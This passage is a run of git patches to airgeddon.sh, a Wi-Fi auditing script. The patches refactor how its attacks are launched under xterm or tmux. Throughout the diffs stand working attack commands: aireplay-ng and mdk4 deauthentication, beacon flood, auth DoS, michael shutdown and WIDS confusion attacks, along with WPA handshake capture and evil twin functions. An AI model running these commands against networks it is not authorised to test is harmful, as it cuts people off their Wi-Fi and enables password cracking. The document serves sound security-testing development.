airodump-ng -c "${channel}" -d "${bssid}" -w "${tmpdir}handshake" "${interface}" > /dev/null 2>&1 & } #Manage target exploration and parse the output files From d84de4ccc5708d0c529c88f0da0edf9cfb07c434 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:19:06 +0530 Subject: [PATCH 054/148] Capture Handshake - Kill window if handshake has been captured successfully or timeout has reached --- airgeddon.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index 51d79c539..3ebcd2ade 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2683,6 +2683,9 @@ function handshake_capture_check() { done kill "${processidcapture}" &> /dev/null + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + tmux kill-window -t "${session_name}:Capturing Handshake" + fi } #Validate if selected network has the needed type of encryption From 478ed4b95b65c282a1b250f4c7a2bae0c23668aa Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:22:24 +0530 Subject: [PATCH 055/148] DoS For Capture Handshake(Mdk4 Amok Attack) - Added unified xterm/tmux calls --- airgeddon.sh | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 3ebcd2ade..9fce95b68 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10535,6 +10535,8 @@ function attack_handshake_menu() { debug_print + local dos_pid + local dos_cmd_line if [ "${1}" = "handshake" ]; then handshake_capture_check if check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "silent"; then @@ -10594,7 +10596,15 @@ function attack_handshake_menu() { rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" recalculate_windows_sizes - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"mdk4 amok attack\"" "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "mdk4 amok attack" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + processidattack="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=12 fi ;; From 462f7b23fe0399d092310293ce8cbe48c5451d03 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:22:59 +0530 Subject: [PATCH 056/148] DoS For Capture Handshake(Aireplay Deauth Attack) - Added unified xterm/tmux calls --- airgeddon.sh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 9fce95b68..3e32b4e28 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10617,7 +10617,15 @@ function attack_handshake_menu() { capture_handshake_window ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 recalculate_windows_sizes - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + processidattack="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & sleeptimeattack=12 fi ;; From 2b8bf98402a0e02911514a4ac9202284db7fabc7 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:24:08 +0530 Subject: [PATCH 057/148] DoS For Capture Handshake(WIDS / WIPS / WDS Cconfusion Attack) - Added unified xterm/tmux calls --- airgeddon.sh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 3e32b4e28..d1c250637 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10637,7 +10637,15 @@ function attack_handshake_menu() { ask_timeout "capture_handshake" capture_handshake_window recalculate_windows_sizes - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"wids / wips / wds confusion attack\"" "mdk4 ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "mdk4 ${interface} w -e ${essid} -c ${channel}" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + processidattack="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=16 fi ;; From 8a41d0de7dd7ce007525bc57168798d8ed28e844 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:26:25 +0530 Subject: [PATCH 058/148] Capture Handshake - Modified process management to include tmux processes and windows as well --- airgeddon.sh | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index d1c250637..e92b5f61e 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10655,8 +10655,12 @@ function attack_handshake_menu() { ;; esac - processidattack=$! - sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null + if [ "{AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + processidattack=$! + sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null + else + sleep ${sleeptimeattack} && kill ${processidattack} && kill_tmux_windows "Capturing Handshake" &> /dev/null + fi attack_handshake_menu "handshake" } From f3e35cd87dd73a7911ee1119ebff1f54336bfd66 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:36:15 +0530 Subject: [PATCH 059/148] DoS For Capture Handshake On Evil Twin Menu(Mdk4 Amok Attack) - Added unified xterm/tmux calls --- airgeddon.sh | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index e92b5f61e..a0cac2e26 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10115,6 +10115,8 @@ function capture_handshake_evil_twin() { debug_print + local dos_cmd_line + local dos_pid if ! validate_network_encryption_type "WPA"; then return 1 fi @@ -10127,7 +10129,15 @@ function capture_handshake_evil_twin() { rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" recalculate_windows_sizes - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"mdk4 amok attack\"" "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "mdk4 amok attack" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + processidattack="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=12 ;; "Aireplay") From 2849135dac49465b1101557dfdcb19996af4ce80 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:36:59 +0530 Subject: [PATCH 060/148] DoS For Capture Handshake On Evil Twin Menu(Aireplay Deauth Attack) - Added unified xterm/tmux calls --- airgeddon.sh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index a0cac2e26..2237e6bad 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10143,7 +10143,15 @@ function capture_handshake_evil_twin() { "Aireplay") ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 recalculate_windows_sizes - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + processidattack="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & sleeptimeattack=12 ;; "Wds Confusion") From d50e8a6a7c6345a6b6565b00d3a44d9a4abeecff Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:37:35 +0530 Subject: [PATCH 061/148] DoS For Capture Handshake On Evil Twin Menu(WIDS / WIPS / WDS Cconfusion Attack) - Added unified xterm/tmux calls --- airgeddon.sh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 2237e6bad..5be9acafb 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10156,7 +10156,15 @@ function capture_handshake_evil_twin() { ;; "Wds Confusion") recalculate_windows_sizes - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"wids / wips / wds confusion attack\"" "mdk4 ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "mdk4 ${interface} w -e ${essid} -c ${channel}" | tr -d '"') + while [ -z "${dos_pid}" ]; do + dos_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + processidattack="${dos_pid}" + fi + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & sleeptimeattack=16 ;; esac From 87ab6b1cb72b3efcbfc53d9ea6ebe419de633ab5 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 07:38:48 +0530 Subject: [PATCH 062/148] Capture Handshake On Evil Twin Menu - Modified process management to include tmux processes and windows as well --- airgeddon.sh | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 5be9acafb..cbfee82a8 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10169,8 +10169,12 @@ function capture_handshake_evil_twin() { ;; esac - processidattack=$! - sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null + if [ "{AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + processidattack=$! + sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null + else + sleep ${sleeptimeattack} && kill ${processidattack} && kill_tmux_windows "Capturing Handshake" &> /dev/null + fi handshake_capture_check if check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "silent"; then From a988fff58ed1f5cbab2ecb1ca93410877574e61b Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 11:36:28 +0530 Subject: [PATCH 063/148] Fixed a bug in function to list all open tmux windows --- airgeddon.sh | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index cbfee82a8..5002a6266 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -13487,12 +13487,7 @@ function kill_tmux_windows() { local last_char readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") for item in "${TMUX_WINDOWS_LIST[@]}"; do - current_window_name=$(echo "${item}" | awk -F '[:|(]' '{print $2}') - current_window_name="${current_window_name:1: -1}" - last_char="${current_window_name: -1}" - if [[ "${last_char}" = "*" ]] || [[ "${last_char}" = "-" ]]; then - current_window_name="${current_window_name::-1}" - fi + current_window_name=$(echo "${item}" | sed -r 's/[0-9]+\:[[:space:]]|[[:space:]]\([0-9]+[[:space:]]pane.*|[-\*][[:space:]]\([0-9]+[[:space:]]pane.*//g') if [ "${current_window_name}" = "${tmux_main_window}" ]; then continue fi From f5df13ba239608797bb0988e5d7a8ddccc59bba4 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 14:18:13 +0530 Subject: [PATCH 064/148] Capture Handshake - Fixed minor error in code and removed unused variable --- airgeddon.sh | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 5002a6266..ceaad0668 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -10169,7 +10169,7 @@ function capture_handshake_evil_twin() { ;; esac - if [ "{AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then processidattack=$! sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null else @@ -10685,7 +10685,7 @@ function attack_handshake_menu() { ;; esac - if [ "{AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then processidattack=$! sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null else @@ -13484,7 +13484,6 @@ function kill_tmux_windows() { local TMUX_WINDOWS_LIST=() local current_window_name - local last_char readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") for item in "${TMUX_WINDOWS_LIST[@]}"; do current_window_name=$(echo "${item}" | sed -r 's/[0-9]+\:[[:space:]]|[[:space:]]\([0-9]+[[:space:]]pane.*|[-\*][[:space:]]\([0-9]+[[:space:]]pane.*//g') From d81019d245ebc3b8de70be1f6f1e8769db2a34ba Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 15:08:24 +0530 Subject: [PATCH 065/148] Evil Twin Attack - Fixed errors in code --- airgeddon.sh | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index ceaad0668..7c7d08024 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -7467,7 +7467,6 @@ function exec_et_onlyap_attack() { language_strings "${language}" 115 "read" kill_et_windows - kill_tmux_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi @@ -7495,7 +7494,6 @@ function exec_et_sniffing_attack() { language_strings "${language}" 115 "read" kill_et_windows - kill_tmux_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi @@ -7527,7 +7525,6 @@ function exec_et_sniffing_sslstrip_attack() { language_strings "${language}" 115 "read" kill_et_windows - kill_tmux_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi @@ -7568,7 +7565,6 @@ function exec_et_sniffing_sslstrip2_attack() { kill_beef kill_et_windows - kill_tmux_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi @@ -7605,7 +7601,6 @@ function exec_et_captive_portal_attack() { language_strings "${language}" 115 "read" kill_et_windows - kill_tmux_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi @@ -9844,6 +9839,9 @@ function kill_et_windows() { kill "${et_process_control_window}" &> /dev/null kill "$(ps -C hostapd --no-headers -o pid | tr -d ' ')" &> /dev/null fi + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + kill_tmux_windows + fi } #Kill DoS pursuit mode processes From 699ad1240728cf7274343b14aa73c6552f08d2df Mon Sep 17 00:00:00 2001 From: xpz3 Date: Fri, 29 Mar 2019 15:26:06 +0530 Subject: [PATCH 066/148] Added missing comments --- airgeddon.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index 7c7d08024..1f6eda6a2 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -13476,6 +13476,7 @@ function transfer_to_tmux() { fi } +#Function to kill tmux windows using window name function kill_tmux_windows() { debug_print @@ -13497,6 +13498,7 @@ function kill_tmux_windows() { done } +#Function to pause script execution on the main window until a process has finished executing or the user terminates it function wait_for_process() { debug_print From 15fd583bc7c3c7dbe267dd919ec7db1b3e32fbbb Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 29 Mar 2019 13:38:22 +0100 Subject: [PATCH 067/148] Small code style fixes --- airgeddon.sh | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 1f6eda6a2..d5aa7ab6c 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -7340,6 +7340,7 @@ function exec_enterprise_attack() { language_strings "${language}" 115 "read" kill_et_windows + if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi @@ -7467,6 +7468,7 @@ function exec_et_onlyap_attack() { language_strings "${language}" 115 "read" kill_et_windows + if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi @@ -7494,6 +7496,7 @@ function exec_et_sniffing_attack() { language_strings "${language}" 115 "read" kill_et_windows + if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi @@ -7525,6 +7528,7 @@ function exec_et_sniffing_sslstrip_attack() { language_strings "${language}" 115 "read" kill_et_windows + if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi @@ -7565,6 +7569,7 @@ function exec_et_sniffing_sslstrip2_attack() { kill_beef kill_et_windows + if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi @@ -7601,6 +7606,7 @@ function exec_et_captive_portal_attack() { language_strings "${language}" 115 "read" kill_et_windows + if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi @@ -13506,7 +13512,6 @@ function wait_for_process() { local running_process local running_process_pid local running_process_cmd_line - local exp_target running_process_cmd_line=$(echo "${1}" | tr -d '"') while [ -z "${running_process_pid}" ]; do @@ -13516,13 +13521,14 @@ function wait_for_process() { running_process="${running_process_pid}" fi done + while [ -n "${running_process}" ]; do running_process=$(ps aux | grep "${running_process_pid}" | grep -v "grep ${running_process_pid}") sleep 0.2 done - exp_target="${2}" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then - tmux kill-window -t "${session_name}:$exp_target" + tmux kill-window -t "${session_name}:${2}" fi } From 52fd38d0bc12ec0164d692fbb7bf79fb9ebb3ba3 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 29 Mar 2019 13:38:59 +0100 Subject: [PATCH 068/148] Regex improved for tmux windows names capturing --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index d5aa7ab6c..3e409ac3e 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -13491,7 +13491,7 @@ function kill_tmux_windows() { local current_window_name readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:") for item in "${TMUX_WINDOWS_LIST[@]}"; do - current_window_name=$(echo "${item}" | sed -r 's/[0-9]+\:[[:space:]]|[[:space:]]\([0-9]+[[:space:]]pane.*|[-\*][[:space:]]\([0-9]+[[:space:]]pane.*//g') + [[ "${item}" =~ ^[0-9]:[[:blank:]](.*?(\-|[[:blank:]])[A-Za-z0-9[:blank:]\(\/\)]+)([[:blank:]]|\-|\*|\()[[:blank:]]?\([0-9].* ]] && current_window_name="${BASH_REMATCH[1]}" if [ "${current_window_name}" = "${tmux_main_window}" ]; then continue fi From d8676a24bd45e47f791027c82aab251e6da84ee0 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 02:23:02 +0530 Subject: [PATCH 069/148] DoS Attack(mdk4) - Added support for unified xterm/tmux calls --- airgeddon.sh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 3e409ac3e..097a5cb9c 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190329 +#Date.........: 20190330 #Version......: 9.11 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -3574,7 +3574,9 @@ function exec_mdk4deauth() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"mdk4 amok attack\"" "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "mdk4 amok attack" + wait_for_process "mdk4 ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "mdk4 amok attack" + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 fi } From a98d51fd75d6daf143e50c64c50d3358ba6c59df Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 02:24:05 +0530 Subject: [PATCH 070/148] DoS Attack(aireplay) - Added support for unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 097a5cb9c..cd727fd21 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3605,7 +3605,9 @@ function exec_aireplaydeauth() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" + wait_for_process "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 fi } From 039999c7daea9674169f29ceee9c5bf52e55b8ab Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 02:25:14 +0530 Subject: [PATCH 071/148] DoS Attack(wds confusion) - Added support for unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index cd727fd21..4b79afdc0 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3634,7 +3634,9 @@ function exec_wdsconfusion() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_topleft_window} -T \"wids / wips / wds confusion attack\"" "mdk4 ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" + wait_for_process "mdk4 ${interface} w -e ${essid} -c ${channel}" "wids / wips / wds confusion attack" + #xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 fi } From 8352d5612afee72bf23d8cbd644a6d0bfdb7f847 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 02:25:53 +0530 Subject: [PATCH 072/148] DoS Attack(beacon flood) - Added support for unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 4b79afdc0..01f2440e1 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3663,7 +3663,9 @@ function exec_beaconflood() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "beacon flood attack" -e mdk4 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 + manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"beacon flood attack\"" "mdk4 ${interface} b -n ${essid} -c ${channel} -s 1000 -h" "beacon flood attack" + wait_for_process "mdk4 ${interface} b -n ${essid} -c ${channel} -s 1000 -h" "beacon flood attack" + #xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "beacon flood attack" -e mdk4 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 fi } From 59f3a9828578401a509dfd252c5cf1c633bb8b2a Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 02:27:11 +0530 Subject: [PATCH 073/148] DoS Attack(auth dos) - Added support for unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 01f2440e1..920b244b3 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3692,7 +3692,9 @@ function exec_authdos() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "auth dos attack" -e mdk4 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 + manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"auth dos attack\"" "mdk4 ${interface} a -a ${bssid} -m -s 1024" "auth dos attack" + wait_for_process "mdk4 ${interface} a -a ${bssid} -m -s 1024" "auth dos attack" + #xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "auth dos attack" -e mdk4 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 fi } From c976b6f615a440727c3855953337ef319a87c9df Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sat, 30 Mar 2019 02:27:50 +0530 Subject: [PATCH 074/148] DoS Attack(michael shutdown) - Added support for unified xterm/tmux calls --- airgeddon.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 920b244b3..2ed9b7429 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3721,7 +3721,9 @@ function exec_michaelshutdown() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "michael shutdown attack" -e mdk4 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 + manage_output "+j -sb -rightbar -geometry ${g1_topleft_window} -T \"michael shutdown attack\"" "mdk4 ${interface} m -t ${bssid} -w 1 -n 1024 -s 1024" "michael shutdown attack" + wait_for_process "mdk4 ${interface} m -t ${bssid} -w 